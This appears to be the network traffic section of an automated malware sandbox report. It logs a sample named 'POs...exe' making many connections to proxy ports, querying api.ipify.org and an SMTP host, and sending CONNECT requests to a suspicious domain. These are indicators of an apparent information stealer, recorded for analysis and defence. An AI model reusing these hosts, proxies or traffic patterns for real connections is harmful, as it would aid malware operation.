Mar 11, 2024 16:42:20.311134100 CET	51364	8081	192.168.2.11	103.169.187.29
Mar 11, 2024 16:42:20.311955929 CET	51365	50564	192.168.2.11	164.92.86.113
Mar 11, 2024 16:42:20.312567949 CET	80	51228	104.21.85.200	192.168.2.11
Mar 11, 2024 16:42:20.312634945 CET	51228	80	192.168.2.11	104.21.85.200
Mar 11, 2024 16:42:20.312779903 CET	51228	80	192.168.2.11	104.21.85.200
Mar 11, 2024 16:42:20.312998056 CET	8443	50596	27.254.123.203	192.168.2.11
Mar 11, 2024 16:42:20.313472986 CET	50633	4153	192.168.2.11	190.2.110.7
Mar 11, 2024 16:42:20.313496113 CET	50068	5678	192.168.2.11	223.25.98.82
Mar 11, 2024 16:42:20.313507080 CET	50386	19599	192.168.2.11	67.43.227.228
Mar 11, 2024 16:42:20.313507080 CET	50829	8080	192.168.2.11	183.89.79.25
Mar 11, 2024 16:42:20.313510895 CET	50240	8181	192.168.2.11	43.132.184.228
Mar 11, 2024 16:42:20.313528061 CET	50888	4145	192.168.2.11	101.109.251.42
Mar 11, 2024 16:42:20.313775063 CET	46919	50757	51.15.16.96	192.168.2.11
Mar 11, 2024 16:42:20.315109015 CET	8081	50830	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:20.315234900 CET	8081	50830	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:20.315262079 CET	8081	51149	193.239.56.84	192.168.2.11
Mar 11, 2024 16:42:20.315385103 CET	51149	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:20.315469980 CET	51149	8081	192.168.2.11	193.239.56.84
Mar 11, 2024 16:42:20.315618992 CET	51366	1981	192.168.2.11	41.33.219.131
Mar 11, 2024 16:42:20.316144943 CET	51367	31147	192.168.2.11	209.121.164.50
Mar 11, 2024 16:42:20.316502094 CET	8197	50833	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:20.316587925 CET	3128	50372	220.194.189.144	192.168.2.11
Mar 11, 2024 16:42:20.316679001 CET	50372	3128	192.168.2.11	220.194.189.144
Mar 11, 2024 16:42:20.316976070 CET	50372	3128	192.168.2.11	220.194.189.144
Mar 11, 2024 16:42:20.317264080 CET	51368	80	192.168.2.11	185.217.143.23
Mar 11, 2024 16:42:20.317761898 CET	51369	80	192.168.2.11	104.27.66.31
Mar 11, 2024 16:42:20.319468021 CET	8197	50833	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:20.319727898 CET	8197	51136	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:20.319794893 CET	51136	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:20.319874048 CET	51136	8197	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:20.320039988 CET	80	50985	103.197.71.7	192.168.2.11
Mar 11, 2024 16:42:20.320398092 CET	28971	49777	67.43.228.254	192.168.2.11
Mar 11, 2024 16:42:20.323530912 CET	51370	59307	192.168.2.11	138.68.24.185
Mar 11, 2024 16:42:20.323658943 CET	3128	51216	66.29.154.103	192.168.2.11
Mar 11, 2024 16:42:20.324168921 CET	51371	80	192.168.2.11	172.67.182.77
Mar 11, 2024 16:42:20.324968100 CET	51372	18301	192.168.2.11	98.206.244.30
Mar 11, 2024 16:42:20.325659990 CET	51373	8080	192.168.2.11	103.118.44.136
Mar 11, 2024 16:42:20.326240063 CET	51374	8080	192.168.2.11	52.79.107.158
Mar 11, 2024 16:42:20.327054024 CET	51375	7497	192.168.2.11	188.166.231.51
Mar 11, 2024 16:42:20.327518940 CET	51376	40179	192.168.2.11	162.241.50.179
Mar 11, 2024 16:42:20.327536106 CET	64523	50738	46.105.44.29	192.168.2.11
Mar 11, 2024 16:42:20.327548981 CET	4145	51040	72.210.221.197	192.168.2.11
Mar 11, 2024 16:42:20.327974081 CET	4145	51040	72.210.221.197	192.168.2.11
Mar 11, 2024 16:42:20.328282118 CET	1080	50249	54.212.22.168	192.168.2.11
Mar 11, 2024 16:42:20.328336000 CET	50249	1080	192.168.2.11	54.212.22.168
Mar 11, 2024 16:42:20.328567028 CET	80	50766	50.170.90.34	192.168.2.11
Mar 11, 2024 16:42:20.328784943 CET	51378	4145	192.168.2.11	72.210.221.197
Mar 11, 2024 16:42:20.329040051 CET	51377	19925	192.168.2.11	213.136.78.200
Mar 11, 2024 16:42:20.329130888 CET	50964	80	192.168.2.11	50.207.199.85
Mar 11, 2024 16:42:20.329288960 CET	49761	8123	192.168.2.11	20.24.43.214
Mar 11, 2024 16:42:20.329304934 CET	50046	4153	192.168.2.11	103.83.105.167
Mar 11, 2024 16:42:20.330275059 CET	51379	34071	192.168.2.11	162.214.225.223
Mar 11, 2024 16:42:20.331214905 CET	1081	50988	5.252.23.220	192.168.2.11
Mar 11, 2024 16:42:20.331249952 CET	1081	50988	5.252.23.220	192.168.2.11
Mar 11, 2024 16:42:20.332047939 CET	51380	1081	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:20.333170891 CET	80	50522	188.166.56.246	192.168.2.11
Mar 11, 2024 16:42:20.333244085 CET	50522	80	192.168.2.11	188.166.56.246
Mar 11, 2024 16:42:20.333412886 CET	50522	80	192.168.2.11	188.166.56.246
Mar 11, 2024 16:42:20.335203886 CET	51381	59058	192.168.2.11	213.136.75.85
Mar 11, 2024 16:42:20.335277081 CET	50605	49782	51.81.89.146	192.168.2.11
Mar 11, 2024 16:42:20.336530924 CET	51382	80	192.168.2.11	51.75.206.209
Mar 11, 2024 16:42:20.336584091 CET	26693	50847	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:20.336818933 CET	51383	3129	192.168.2.11	20.219.235.172
Mar 11, 2024 16:42:20.337136030 CET	13793	51085	103.117.109.1	192.168.2.11
Mar 11, 2024 16:42:20.337644100 CET	80	50861	34.75.202.63	192.168.2.11
Mar 11, 2024 16:42:20.337949991 CET	80	50528	152.32.132.220	192.168.2.11
Mar 11, 2024 16:42:20.339056015 CET	51384	44523	192.168.2.11	51.161.33.206
Mar 11, 2024 16:42:20.339899063 CET	4145	51186	174.64.199.79	192.168.2.11
Mar 11, 2024 16:42:20.339939117 CET	8090	49763	103.127.106.249	192.168.2.11
Mar 11, 2024 16:42:20.339962959 CET	51186	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:20.339988947 CET	49763	8090	192.168.2.11	103.127.106.249
Mar 11, 2024 16:42:20.340115070 CET	51186	4145	192.168.2.11	174.64.199.79
Mar 11, 2024 16:42:20.340154886 CET	51385	80	192.168.2.11	82.210.56.251
Mar 11, 2024 16:42:20.340538025 CET	51386	5678	192.168.2.11	81.91.157.134
Mar 11, 2024 16:42:20.343188047 CET	15303	51199	184.178.172.5	192.168.2.11
Mar 11, 2024 16:42:20.343630075 CET	4145	50373	72.195.114.169	192.168.2.11
Mar 11, 2024 16:42:20.343981981 CET	4145	50373	72.195.114.169	192.168.2.11
Mar 11, 2024 16:42:20.344372034 CET	49919	80	192.168.2.11	50.175.212.74
Mar 11, 2024 16:42:20.344455004 CET	4145	49946	36.90.61.224	192.168.2.11
Mar 11, 2024 16:42:20.344743013 CET	50837	80	192.168.2.11	8.222.239.209
Mar 11, 2024 16:42:20.344757080 CET	50838	1080	192.168.2.11	176.115.79.195
Mar 11, 2024 16:42:20.344846964 CET	51387	4145	192.168.2.11	72.195.114.169
Mar 11, 2024 16:42:20.346178055 CET	5678	49881	176.119.227.65	192.168.2.11
Mar 11, 2024 16:42:20.346561909 CET	80	51251	172.64.152.98	192.168.2.11
Mar 11, 2024 16:42:20.346652031 CET	51251	80	192.168.2.11	172.64.152.98
Mar 11, 2024 16:42:20.346757889 CET	51251	80	192.168.2.11	172.64.152.98
Mar 11, 2024 16:42:20.348695993 CET	4145	51233	24.249.199.4	192.168.2.11
Mar 11, 2024 16:42:20.348779917 CET	51233	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:20.350069046 CET	31033	49786	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:20.350440025 CET	51388	5678	192.168.2.11	38.83.108.89
Mar 11, 2024 16:42:20.350795984 CET	15673	51138	23.95.209.142	192.168.2.11
Mar 11, 2024 16:42:20.350876093 CET	28723	50855	67.43.227.227	192.168.2.11
Mar 11, 2024 16:42:20.351032972 CET	4711	50226	67.43.227.227	192.168.2.11
Mar 11, 2024 16:42:20.351324081 CET	58386	49847	5.44.42.115	192.168.2.11
Mar 11, 2024 16:42:20.352164984 CET	8080	51158	180.191.16.5	192.168.2.11
Mar 11, 2024 16:42:20.353419065 CET	4145	50862	199.58.185.9	192.168.2.11
Mar 11, 2024 16:42:20.353487968 CET	15673	51138	23.95.209.142	192.168.2.11
Mar 11, 2024 16:42:20.353507042 CET	50862	4145	192.168.2.11	199.58.185.9
Mar 11, 2024 16:42:20.353785038 CET	50862	4145	192.168.2.11	199.58.185.9
Mar 11, 2024 16:42:20.353965044 CET	35396	50702	192.163.200.200	192.168.2.11
Mar 11, 2024 16:42:20.354093075 CET	50702	35396	192.168.2.11	192.163.200.200
Mar 11, 2024 16:42:20.354517937 CET	50702	35396	192.168.2.11	192.163.200.200
Mar 11, 2024 16:42:20.356235027 CET	3128	50499	159.203.61.169	192.168.2.11
Mar 11, 2024 16:42:20.356628895 CET	4145	50897	199.102.107.145	192.168.2.11
Mar 11, 2024 16:42:20.358712912 CET	80	50987	198.44.255.3	192.168.2.11
Mar 11, 2024 16:42:20.358731985 CET	80	50987	198.44.255.3	192.168.2.11
Mar 11, 2024 16:42:20.358781099 CET	80	51172	47.242.234.237	192.168.2.11
Mar 11, 2024 16:42:20.358813047 CET	50987	80	192.168.2.11	198.44.255.3
Mar 11, 2024 16:42:20.358843088 CET	51172	80	192.168.2.11	47.242.234.237
Mar 11, 2024 16:42:20.358885050 CET	80	50849	52.67.10.183	192.168.2.11
Mar 11, 2024 16:42:20.358906031 CET	80	50747	65.1.244.232	192.168.2.11
Mar 11, 2024 16:42:20.359047890 CET	50987	80	192.168.2.11	198.44.255.3
Mar 11, 2024 16:42:20.360256910 CET	80	50328	54.152.3.36	192.168.2.11
Mar 11, 2024 16:42:20.360327005 CET	50328	80	192.168.2.11	54.152.3.36
Mar 11, 2024 16:42:20.360414982 CET	49884	8000	192.168.2.11	178.128.156.219
Mar 11, 2024 16:42:20.360414982 CET	50960	20001	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:20.360430002 CET	50915	80	192.168.2.11	50.217.226.42
Mar 11, 2024 16:42:20.360444069 CET	80	50881	47.242.234.237	192.168.2.11
Mar 11, 2024 16:42:20.360461950 CET	50843	999	192.168.2.11	190.217.7.8
Mar 11, 2024 16:42:20.360466003 CET	50890	8080	192.168.2.11	84.241.8.234
Mar 11, 2024 16:42:20.360466003 CET	50435	25491	192.168.2.11	67.43.227.230
Mar 11, 2024 16:42:20.360466003 CET	50274	24815	192.168.2.11	95.217.104.21
Mar 11, 2024 16:42:20.360467911 CET	50842	53343	192.168.2.11	66.23.233.210
Mar 11, 2024 16:42:20.360469103 CET	50755	64110	192.168.2.11	164.92.86.113
Mar 11, 2024 16:42:20.360469103 CET	50841	3128	192.168.2.11	5.34.201.244
Mar 11, 2024 16:42:20.360470057 CET	50308	3128	192.168.2.11	194.145.209.187
Mar 11, 2024 16:42:20.360469103 CET	50845	8118	192.168.2.11	182.140.244.163
Mar 11, 2024 16:42:20.360481024 CET	50968	46656	192.168.2.11	38.127.179.126
Mar 11, 2024 16:42:20.363147974 CET	8880	50481	95.66.138.21	192.168.2.11
Mar 11, 2024 16:42:20.365304947 CET	1080	50679	195.98.93.234	192.168.2.11
Mar 11, 2024 16:42:20.365870953 CET	80	51174	104.19.247.62	192.168.2.11
Mar 11, 2024 16:42:20.365889072 CET	80	51174	104.19.247.62	192.168.2.11
Mar 11, 2024 16:42:20.366065025 CET	80	51174	104.19.247.62	192.168.2.11
Mar 11, 2024 16:42:20.366111994 CET	51174	80	192.168.2.11	104.19.247.62
Mar 11, 2024 16:42:20.366666079 CET	999	50138	45.229.34.174	192.168.2.11
Mar 11, 2024 16:42:20.366683960 CET	32221	49788	67.43.228.254	192.168.2.11
Mar 11, 2024 16:42:20.367938995 CET	3128	51037	160.16.90.35	192.168.2.11
Mar 11, 2024 16:42:20.372840881 CET	3128	49824	15.236.106.236	192.168.2.11
Mar 11, 2024 16:42:20.372901917 CET	49824	3128	192.168.2.11	15.236.106.236
Mar 11, 2024 16:42:20.374403954 CET	13341	51208	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:20.374423981 CET	14282	51231	192.252.208.70	192.168.2.11
Mar 11, 2024 16:42:20.374469042 CET	16379	50600	51.158.96.66	192.168.2.11
Mar 11, 2024 16:42:20.374537945 CET	50600	16379	192.168.2.11	51.158.96.66
Mar 11, 2024 16:42:20.376008034 CET	50840	8090	192.168.2.11	89.230.92.9
Mar 11, 2024 16:42:20.376040936 CET	50521	30453	192.168.2.11	174.136.57.169
Mar 11, 2024 16:42:20.376040936 CET	50852	46097	192.168.2.11	162.241.46.40
Mar 11, 2024 16:42:20.376040936 CET	50910	6969	192.168.2.11	95.217.222.213
Mar 11, 2024 16:42:20.376040936 CET	49762	5678	192.168.2.11	178.212.51.79
Mar 11, 2024 16:42:20.376291990 CET	8888	50993	31.43.158.108	192.168.2.11
Mar 11, 2024 16:42:20.376492023 CET	50993	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:20.376534939 CET	59623	50778	62.182.114.164	192.168.2.11
Mar 11, 2024 16:42:20.376564026 CET	49892	80	192.168.2.11	50.168.72.112
Mar 11, 2024 16:42:20.376580000 CET	50844	8080	192.168.2.11	187.228.145.138
Mar 11, 2024 16:42:20.376583099 CET	50257	8000	192.168.2.11	128.199.252.41
Mar 11, 2024 16:42:20.376625061 CET	50850	999	192.168.2.11	190.211.250.131
Mar 11, 2024 16:42:20.376626968 CET	50851	54393	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:20.376800060 CET	3128	51226	84.17.35.129	192.168.2.11
Mar 11, 2024 16:42:20.377240896 CET	80	51300	104.16.105.198	192.168.2.11
Mar 11, 2024 16:42:20.377316952 CET	51300	80	192.168.2.11	104.16.105.198
Mar 11, 2024 16:42:20.377424955 CET	5935	51218	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:20.379066944 CET	8888	50993	31.43.158.108	192.168.2.11
Mar 11, 2024 16:42:20.381197929 CET	80	51206	68.185.57.66	192.168.2.11
Mar 11, 2024 16:42:20.382541895 CET	5931	50872	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:20.382560015 CET	29985	51184	154.12.178.107	192.168.2.11
Mar 11, 2024 16:42:20.382654905 CET	51184	29985	192.168.2.11	154.12.178.107
Mar 11, 2024 16:42:20.383572102 CET	80	51311	172.67.181.147	192.168.2.11
Mar 11, 2024 16:42:20.385011911 CET	1080	51014	27.0.234.206	192.168.2.11
Mar 11, 2024 16:42:20.385179043 CET	1080	51014	27.0.234.206	192.168.2.11
Mar 11, 2024 16:42:20.385195971 CET	45248	49897	166.62.121.127	192.168.2.11
Mar 11, 2024 16:42:20.385240078 CET	51311	80	192.168.2.11	172.67.181.147
Mar 11, 2024 16:42:20.389535904 CET	14455	51238	192.252.209.155	192.168.2.11
Mar 11, 2024 16:42:20.389552116 CET	80	51316	104.17.132.79	192.168.2.11
Mar 11, 2024 16:42:20.389617920 CET	1080	51151	138.36.150.16	192.168.2.11
Mar 11, 2024 16:42:20.389642954 CET	51316	80	192.168.2.11	104.17.132.79
Mar 11, 2024 16:42:20.389673948 CET	51151	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:20.391622066 CET	50446	3335	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:20.391628027 CET	49712	4145	192.168.2.11	152.32.78.24
Mar 11, 2024 16:42:20.391649961 CET	50280	8000	192.168.2.11	167.172.79.17
Mar 11, 2024 16:42:20.391649961 CET	50366	80	192.168.2.11	50.173.140.149
Mar 11, 2024 16:42:20.391653061 CET	50853	8080	192.168.2.11	112.78.170.250
Mar 11, 2024 16:42:20.391653061 CET	50313	3128	192.168.2.11	46.101.102.134
Mar 11, 2024 16:42:20.391653061 CET	50936	64384	192.168.2.11	195.154.43.221
Mar 11, 2024 16:42:20.391653061 CET	50101	4153	192.168.2.11	203.76.117.74
Mar 11, 2024 16:42:20.391654968 CET	50491	80	192.168.2.11	50.239.72.17
Mar 11, 2024 16:42:20.391655922 CET	50860	8080	192.168.2.11	103.69.151.189
Mar 11, 2024 16:42:20.391654968 CET	50857	84	192.168.2.11	103.255.145.62
Mar 11, 2024 16:42:20.391654968 CET	50863	60775	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:20.392688036 CET	4145	51083	174.77.111.197	192.168.2.11
Mar 11, 2024 16:42:20.392745972 CET	4145	51083	174.77.111.197	192.168.2.11
Mar 11, 2024 16:42:20.393845081 CET	31247	50945	202.40.181.220	192.168.2.11
Mar 11, 2024 16:42:20.394292116 CET	80	51323	104.16.106.234	192.168.2.11
Mar 11, 2024 16:42:20.394365072 CET	51323	80	192.168.2.11	104.16.106.234
Mar 11, 2024 16:42:20.394697905 CET	31247	50945	202.40.181.220	192.168.2.11
Mar 11, 2024 16:42:20.395550966 CET	80	51104	154.208.10.126	192.168.2.11
Mar 11, 2024 16:42:20.395612955 CET	4019	50506	171.235.166.222	192.168.2.11
Mar 11, 2024 16:42:20.395807028 CET	50506	4019	192.168.2.11	171.235.166.222
Mar 11, 2024 16:42:20.398524046 CET	8080	51193	153.139.233.218	192.168.2.11
Mar 11, 2024 16:42:20.398540974 CET	80	50883	50.168.72.122	192.168.2.11
Mar 11, 2024 16:42:20.398602962 CET	51193	8080	192.168.2.11	153.139.233.218
Mar 11, 2024 16:42:20.399378061 CET	10049	50879	67.43.227.227	192.168.2.11
Mar 11, 2024 16:42:20.400263071 CET	31679	51202	98.162.25.29	192.168.2.11
Mar 11, 2024 16:42:20.400317907 CET	51202	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:20.401490927 CET	15805	50727	172.93.111.87	192.168.2.11
Mar 11, 2024 16:42:20.401537895 CET	50727	15805	192.168.2.11	172.93.111.87
Mar 11, 2024 16:42:20.402355909 CET	4153	50575	185.22.31.227	192.168.2.11
Mar 11, 2024 16:42:20.402550936 CET	80	51126	104.16.224.33	192.168.2.11
Mar 11, 2024 16:42:20.404609919 CET	5432	51264	31.204.28.96	192.168.2.11
Mar 11, 2024 16:42:20.404669046 CET	51264	5432	192.168.2.11	31.204.28.96
Mar 11, 2024 16:42:20.404813051 CET	80	51334	172.67.36.21	192.168.2.11
Mar 11, 2024 16:42:20.404866934 CET	51334	80	192.168.2.11	172.67.36.21
Mar 11, 2024 16:42:20.405368090 CET	80	49971	52.196.1.182	192.168.2.11
Mar 11, 2024 16:42:20.405424118 CET	49971	80	192.168.2.11	52.196.1.182
Mar 11, 2024 16:42:20.407216072 CET	49848	5005	192.168.2.11	1.194.236.229
Mar 11, 2024 16:42:20.407248974 CET	50499	3128	192.168.2.11	159.203.61.169
Mar 11, 2024 16:42:20.407248974 CET	50747	80	192.168.2.11	65.1.244.232
Mar 11, 2024 16:42:20.407255888 CET	50849	80	192.168.2.11	52.67.10.183
Mar 11, 2024 16:42:20.407269955 CET	50865	999	192.168.2.11	38.156.233.77
Mar 11, 2024 16:42:20.407270908 CET	50858	9090	192.168.2.11	38.10.69.109
Mar 11, 2024 16:42:20.407273054 CET	50866	8080	192.168.2.11	177.128.212.190
Mar 11, 2024 16:42:20.407274961 CET	50869	4145	192.168.2.11	184.178.172.3
Mar 11, 2024 16:42:20.407277107 CET	49784	8080	192.168.2.11	42.200.196.208
Mar 11, 2024 16:42:20.407277107 CET	50864	21355	192.168.2.11	67.213.212.36
Mar 11, 2024 16:42:20.407325029 CET	50874	80	192.168.2.11	174.126.217.110
Mar 11, 2024 16:42:20.407445908 CET	8080	50361	5.78.89.192	192.168.2.11
Mar 11, 2024 16:42:20.407994986 CET	51172	80	192.168.2.11	47.242.234.237
Mar 11, 2024 16:42:20.409234047 CET	9999	50453	113.195.224.222	192.168.2.11
Mar 11, 2024 16:42:20.409379005 CET	80	51198	50.172.39.98	192.168.2.11
Mar 11, 2024 16:42:20.409569025 CET	50993	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:20.409596920 CET	41055	50233	62.171.131.101	192.168.2.11
Mar 11, 2024 16:42:20.409643888 CET	50233	41055	192.168.2.11	62.171.131.101
Mar 11, 2024 16:42:20.409864902 CET	51174	80	192.168.2.11	104.19.247.62
Mar 11, 2024 16:42:20.411562920 CET	50600	16379	192.168.2.11	51.158.96.66
Mar 11, 2024 16:42:20.411678076 CET	51184	29985	192.168.2.11	154.12.178.107
Mar 11, 2024 16:42:20.411681890 CET	51300	80	192.168.2.11	104.16.105.198
Mar 11, 2024 16:42:20.412273884 CET	51389	8080	192.168.2.11	109.175.9.203
Mar 11, 2024 16:42:20.412286997 CET	63055	50608	51.161.131.84	192.168.2.11
Mar 11, 2024 16:42:20.412358046 CET	50608	63055	192.168.2.11	51.161.131.84
Mar 11, 2024 16:42:20.412874937 CET	51391	55029	192.168.2.11	162.214.227.68
Mar 11, 2024 16:42:20.413551092 CET	51392	80	192.168.2.11	112.78.47.188
Mar 11, 2024 16:42:20.413655996 CET	4145	51272	184.178.172.14	192.168.2.11
Mar 11, 2024 16:42:20.413790941 CET	51316	80	192.168.2.11	104.17.132.79
Mar 11, 2024 16:42:20.413957119 CET	51393	999	192.168.2.11	201.218.144.19
Mar 11, 2024 16:42:20.414014101 CET	51151	1080	192.168.2.11	138.36.150.16
Mar 11, 2024 16:42:20.414352894 CET	51395	80	192.168.2.11	115.240.163.31
Mar 11, 2024 16:42:20.414623022 CET	51396	4153	192.168.2.11	88.84.62.5
Mar 11, 2024 16:42:20.414861917 CET	51323	80	192.168.2.11	104.16.106.234
Mar 11, 2024 16:42:20.415115118 CET	51397	80	192.168.2.11	50.174.216.110
Mar 11, 2024 16:42:20.415484905 CET	51398	51718	192.168.2.11	51.222.241.157
Mar 11, 2024 16:42:20.415766001 CET	51399	80	192.168.2.11	50.175.212.66
Mar 11, 2024 16:42:20.416186094 CET	51400	11201	192.168.2.11	38.41.27.150
Mar 11, 2024 16:42:20.416213989 CET	38817	50808	77.48.23.181	192.168.2.11
Mar 11, 2024 16:42:20.416239977 CET	51390	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:20.416532040 CET	18080	51019	60.188.102.225	192.168.2.11
Mar 11, 2024 16:42:20.416584015 CET	51019	18080	192.168.2.11	60.188.102.225
Mar 11, 2024 16:42:20.416640043 CET	51401	444	192.168.2.11	8.213.128.90
Mar 11, 2024 16:42:20.416842937 CET	51402	47935	192.168.2.11	104.36.166.34
Mar 11, 2024 16:42:20.417171955 CET	51403	8080	192.168.2.11	143.44.191.108
Mar 11, 2024 16:42:20.417212009 CET	80	51352	104.20.89.77	192.168.2.11
Mar 11, 2024 16:42:20.417431116 CET	51352	80	192.168.2.11	104.20.89.77
Mar 11, 2024 16:42:20.417476892 CET	51404	31724	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:20.417495012 CET	51394	32650	192.168.2.11	41.60.26.210
Mar 11, 2024 16:42:20.417723894 CET	51405	80	192.168.2.11	104.16.105.146
Mar 11, 2024 16:42:20.417979002 CET	80	51039	46.35.9.110	192.168.2.11
Mar 11, 2024 16:42:20.418054104 CET	51039	80	192.168.2.11	46.35.9.110
Mar 11, 2024 16:42:20.418109894 CET	51406	4145	192.168.2.11	45.70.206.42
Mar 11, 2024 16:42:20.418181896 CET	13477	51253	72.10.160.93	192.168.2.11
Mar 11, 2024 16:42:20.418656111 CET	51407	1080	192.168.2.11	13.234.24.116
Mar 11, 2024 16:42:20.418896914 CET	50506	4019	192.168.2.11	171.235.166.222
Mar 11, 2024 16:42:20.418916941 CET	8089	51175	111.225.152.191	192.168.2.11
Mar 11, 2024 16:42:20.419039965 CET	51409	80	192.168.2.11	49.249.155.3
Mar 11, 2024 16:42:20.419173956 CET	4145	51221	190.103.29.101	192.168.2.11
Mar 11, 2024 16:42:20.419192076 CET	30717	51254	72.10.164.178	192.168.2.11
Mar 11, 2024 16:42:20.419281006 CET	51410	10800	192.168.2.11	175.29.174.242
Mar 11, 2024 16:42:20.419369936 CET	51411	4153	192.168.2.11	200.70.34.22
Mar 11, 2024 16:42:20.419851065 CET	51193	8080	192.168.2.11	153.139.233.218
Mar 11, 2024 16:42:20.420433998 CET	51202	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:20.420856953 CET	51408	80	192.168.2.11	104.18.136.28
Mar 11, 2024 16:42:20.421694040 CET	50727	15805	192.168.2.11	172.93.111.87
Mar 11, 2024 16:42:20.421776056 CET	51412	1080	192.168.2.11	27.0.234.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 11, 2024 16:42:15.178117990 CET	192.168.2.11	1.1.1.1	0x3fa8	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:19.156227112 CET	192.168.2.11	1.1.1.1	0xa284	Standard query (0)	ktxcomay.com.vn	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:24.425354004 CET	192.168.2.11	1.1.1.1	0x936a	Standard query (0)	heygirlisheeverythingyouwantedinaman.com	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:27.610220909 CET	192.168.2.11	1.1.1.1	0xbc28	Standard query (0)	www.avis.com.hn	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:36.095665932 CET	192.168.2.11	1.1.1.1	0xfa10	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:41.601629019 CET	192.168.2.11	1.1.1.1	0x4ec3	Standard query (0)	smtp.fvpumps.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 11, 2024 16:42:15.332604885 CET	1.1.1.1	192.168.2.11	0x3fa8	No error (0)	github.com		140.82.113.4	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:19.310888052 CET	1.1.1.1	192.168.2.11	0xa284	No error (0)	ktxcomay.com.vn		222.255.238.159	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:24.582401037 CET	1.1.1.1	192.168.2.11	0x936a	No error (0)	heygirlisheeverythingyouwantedinaman.com		104.21.57.121	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:24.582401037 CET	1.1.1.1	192.168.2.11	0x936a	No error (0)	heygirlisheeverythingyouwantedinaman.com		172.67.190.93	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:27.765974998 CET	1.1.1.1	192.168.2.11	0xbc28	No error (0)	www.avis.com.hn		172.67.199.231	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:27.765974998 CET	1.1.1.1	192.168.2.11	0xbc28	No error (0)	www.avis.com.hn		104.21.84.251	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:36.250406027 CET	1.1.1.1	192.168.2.11	0xfa10	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:36.250406027 CET	1.1.1.1	192.168.2.11	0xfa10	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:36.250406027 CET	1.1.1.1	192.168.2.11	0xfa10	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:41.787307978 CET	1.1.1.1	192.168.2.11	0x4ec3	No error (0)	smtp.fvpumps.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 11, 2024 16:42:41.787307978 CET	1.1.1.1	192.168.2.11	0x4ec3	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:41.787307978 CET	1.1.1.1	192.168.2.11	0x4ec3	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:41.787307978 CET	1.1.1.1	192.168.2.11	0x4ec3	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Mar 11, 2024 16:42:41.787307978 CET	1.1.1.1	192.168.2.11	0x4ec3	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49758	4.182.9.108	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:17.837549925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49766	4.182.9.108	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:17.860609055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

